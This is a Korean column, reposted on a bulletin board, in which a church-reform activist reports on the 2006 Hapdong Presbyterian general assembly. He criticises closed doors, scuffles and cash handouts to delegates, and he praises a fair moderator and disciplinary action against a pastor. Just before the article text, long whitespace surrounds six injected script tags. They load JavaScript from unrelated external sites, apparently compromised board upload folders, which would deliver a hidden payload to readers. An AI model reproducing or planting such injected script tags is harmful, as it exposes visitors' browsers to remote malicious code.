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칼럼 [구교형 합동참관기]"변하지 않는 구태, 그 가운데서 빛나는 변화의 조짐들"[09/27]

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작성자 by 관리자 / 작성일06-09-28 11:04 / 조회 4,049 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    “변하지 않는 구태, 그 가운데서 빛나는 변화의 조짐들”

                                                                                                                            구교형 사무국장



나는 올해도 ‘올바른교단총회정착을위한공동대책위원회’ 활동의 하나로 대한예수교장로회(합동) 총회(9월 19일~22일/부산 온천제일교회)를 이틀간 참관하였다. 예장 합동 교단은 우리나라의 수많은 교단들 가운데서도 가장 큰 교세를 자랑하고 있고, 그만큼 영향력 또한 큰 대표적인 교단이다. 그러나 안타깝게도 그런 거대교단으로서의 명실상부한 성숙함을 보이지 못해 매년 한국교회의 가슴 아픈 현주소를 대변하는 무대이기도 했던 것이 자타가 공인하는 솔직한 모습이다.
짧은 참관이었지만 올해 총회는 작년만큼의 첨예한 현안이 없어 비교적 차분한 분위기 속에서 진행된 것 같았다. 그런 가운데서도 결코 놓칠 수 없는 중요한 느낌들을 함께 생각해 보기 원한다.

1. 여전히 변치 않는 구태들
작년에 이어 올해도 일반인들의 총회장 출입을 제한하였다. 특히 작년은 일명 ‘서북노회 건’과 예장 개혁 측의 합동으로 인해 첨예한 공방전이 있던 터라 시종일관 엄격한 출입통제가 있었으나, 올해는 비교적 첨예한 이슈가 없어 별다른 걱정을 하지 않았으나 총회는 첫날부터 출입을 통제하여 총대 외에는 비표가 있는 사람에 한해서만 참관을 허락했다(다행히 사흘째부터는 출입제한을 하지 않았다). 흔히 말하듯 교단 총회가 ‘聖총회’라고 한다면, 모든 성도들의 축복과 관심 속에 진행되어야 하는데 다른 곳도 아닌 교회당 출입을, 다른 사람도 아닌 성도의 출입을 막는다는 것은 어떠한 이유로도 납득할 수 없는 일이다. 더구나 이런 모습이 해마다 반복되는 관례처럼 될까 몹시 걱정이다. 정말 질서유지를 위한 조처라면 질서를 어기는 사람에 대해서만 제재를 하면 될 일이다.

이번 합동총회에서는 또한 진귀한 광경도 연출되었다. 총회의 질서를 유지해야할 흠석사찰이라는 사람이 감사부의 정당한 보고를 가로막고, 밀치는 장면이었다. 그 이유인 즉 흠석사찰이 감사부 보고 내용과 상당한 이해관계를 갖고 있는 분이었기 때문이다. 그는 감사부 임원의 보고를 가로막고, 마이크를 쥐고 흔드는가 하면 지나가면서 뒷머리를 치는 장면도 목격되었다. 그러나 더욱 이상한 것은 아무도 그 장면을 보며 제지하지 않는다는 사실이다. 참으로 1천 명이 넘는 교회지도자들이 모여 있지만 아무도 책임을 지지 않는 현실이 얼마나 한심한가를 여실히 보여주었다.

또 한 가지 놀라운 일은 둘째 날 총회 상비부 조직을 위해 정회를 하고 있던 중에 제법 많은 부서 모임에서 참석자들에게 돈봉투가 돌리는 것이었다. 교통비, 수고비 등 어떤 명목을 붙이더라도 이해되지 않는다. 왜냐하면 총회의 총대들은 기본적으로 노회에서 교통비와 식사비 등 사용실비를 받아 참석하게 되고, 개 교회에서 다시 돈을 받는 경우도 적지 않은데, 총대의 당연한 의무로 회의에 참석하면서 다시 돈을 받는다는 것은 경우 없는 일이기 때문이다. 더구나 그 돈은 뻔히 그 부서의 1년 활동비에서 지출된 것임에 틀림없기 때문에, 1년간 진행해야할 소중한 공금을 나눠 먹기 식으로 허비한다는 것은 총회를 욕되게 하는 일임에 틀림없다.

2. 작지만 빛나는 변화의 조짐들
참관을 하다보면 부정적인 현상에만 주의를 기울이기 쉽지만 그런 가운데서도 총회의 변화를 느끼게 해 주는 변화의 모습들이 없는 것도 아니다.

우선 새로 취임한 장차남 총회장의 사심없는 공정한 진행이 돋보였다. 지금까지 많은 합동측 총회장들은 중요한 의제에 관한 한 처음부터 자기 입장을 지나치게 관철하려는 의도가 짙어 회의를 공정하게 이끌어가지 못했는데, 신임 총회장은 지나치다 싶을 만큼 인내심을 갖고 논란양측의 입장을 최대한 경청하려는 자세를 보였다. 그럼에도 불구하고 논란만 계속되는 지리한 고비마다에서는 절묘한 중재안을 내놔 돌파해 내는 안정감도 함께 보여주어 신선한 총회장상을 보여준 것 같다.

또한 노회의 기득권을 앞세워 밀어붙이려 했던 서북노회의 광성교회 가입건은 올해도 부결되었다. 형제교단에서 아픔을 주고 갈라져 나온 교회를 받아들이는 것은 무분별한 교단이기주의와 교세확장주의에 다름 아닌 상황에서 총대들은 합리적인 신앙양심을 발휘하였고, 결국 교세에 도움만 된다면 모든 죄가 덮어지던 지난 관행은 점점 사라지는 것 같아 다행이다. 그런 면에서 두 개의 분쟁교회 조사처리위원장을 겸임하면서 공금을 멋대로 유용하고, 월권을 행하면서도, 기독신문 이사장에 출마하였던 김백경 목사에게 공직제한 3년 처분이 내려진 것도 총회 내 자정시스템이 작동하는 것을 볼 수 있는 기회였다.

아직도 많은 총대들이 깊은 관심과 문제의식 없이 총회에 참석하는 것 같은 상황에서도 몇몇 총대들의 개혁의 몸부림이 있었고, 그 순간마다 총대들도 도리에서 크게 벗어나지 않는 결정에 힘을 실어줌으로써 비교적 잘 진행된 총회가 아니었나 싶다.

다만 이미 합동 총회가 비대해질 대로 비대해져서 효율성을 기대하기 어려운 마당에 훨씬 효율적인 논의의 장이 될 만한 대회제 취지가 또 연구과제로만 넘어간 것은 아쉽기 그지없다. 중요한 변화이니만큼 꼼꼼한 준비도 필요하겠지만, 당장 부담스러운 과제는 다음회기로 넘기고 보자는 태도가 자꾸 관행이 되어가는 것 같아 좀 더 세심한 고민을 부탁드리고 싶다.
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